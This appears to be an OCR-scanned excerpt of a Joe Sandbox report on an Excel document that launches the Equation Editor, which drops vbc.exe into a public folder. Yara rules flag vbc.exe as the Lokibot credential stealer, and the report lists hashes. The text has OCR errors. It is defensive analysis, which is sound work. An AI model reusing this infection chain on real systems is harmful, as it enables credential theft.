0d 0a 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 2c 0d Oa 20 20
2020 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 65 78 74 20 7b 0d Oa 20 20

Data Ascii: <IDOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-
equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not

Found<ftitle> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px;

line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0;
} section, footer { display: block; padding: 0; margin: 0; } .container { margin-
left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; }
.status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; }
.contact-info, .reason-text {

Analysis Process: EXCEL.EXE PID: 2520 Parent PID: 584

General

Start time:
Start date:
Path:

Copyright Joe Security LLC 2021

12:28:49
16/06/2021
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
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Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Written

Registry Activities

Key Created

Key Value Created

false

'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
0x13f210000

27641504 bytes

5FBOAOF93382ECD19F5F499A5CAA59F0

true

true

C, C++ or other language

high

Show Windows behavior

Show Windows behavior

Analysis Process: EQNEDT32.EXE PID: 2724 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:29:11

16/06/2021

C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE

true

'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
0x400000

543304 bytes

A87236E214F6D42A65F5DEDAC816AECS

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Registry Activities Show Windows behavior
Key Created
Analysis Process: vbc.exe PID: 2856 Parent PID: 2724

General

Start time: 12:29:15

Start date: 16/06/2021

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: ‘C:\Users\Public\vbc.exe'

Imagebase: 0xd00000

File size: 761856 bytes

MDS5 hash: 7146BOD2CAED6422C289A08F63A5C685

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true
true

.Net C# or VB.NET
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Yara matches: e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000004.00000002.2170925331.0000000003369000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib
compressed binary, Source:
00000004.00000002.2170925331.0000000003369000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source:
00000004.00000002.2170925331.0000000003369000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: Lokibot, Description: detect Lokibot in memory, Source:
00000004.00000002.2170925331.0000000003369000.00000004.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:

00000004.00000002.2170739469.0000000002381000.00000004.00000001.sdmp,

Author: Joe Security

Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,

Source:

00000004.00000002.2170739469.0000000002381000.00000004.00000001.sdmp,

Author: Joe Security

Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib

compressed binary, Source:

00000004.00000002.2170739469.0000000002381000.00000004.00000001.sdmp,

Author: Joe Security

Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source:

00000004.00000002.2170739469.0000000002381000.00000004.00000001.sdmp,

Author: Joe Security

Rule: Lokibot, Description: detect Lokibot in memory, Source:

00000004.00000002.2170739469.0000000002381000.00000004.00000001.sdmp,

Author: JPCERT/CC Incident Response Group

Reputation: low

File Activities Show Windows behavior

File Read

Analysis Process: vbc.exe PID: 3052 Parent PID: 2856

General
Start time: 12:29:18
Start date: 16/06/2021
Path: C:\Users\Public\vbc.exe
Wow64 process (32bit): true
Commandline: C:\Users\Public\vbc.exe
Imagebase: 0xd00000
File size: 761856 bytes
MD5 hash: 7146BOD2CAED6422C289A08F63A5C685
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000005.00000002.2182198196.0000000000400000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib
compressed binary, Source:
00000005.00000002.2182198196.0000000000400000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source:
00000005.00000002.2182198196.0000000000400000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: Loki_1, Description: Loki Payload, Source:
00000005.00000002.2182198196.0000000000400000.00000040.00000001.sdmp,
Author: kevoreilly
e Rule: Lokibot, Description: detect Lokibot in memory, Source:
00000005.00000002.2182198196.0000000000400000.00000040.00000001.sdmp,
Author: JPCERT/CC Incident Response Group
Reputation: low
File Activities Show Windows behavior
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Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 32.0.0 Black Diamond
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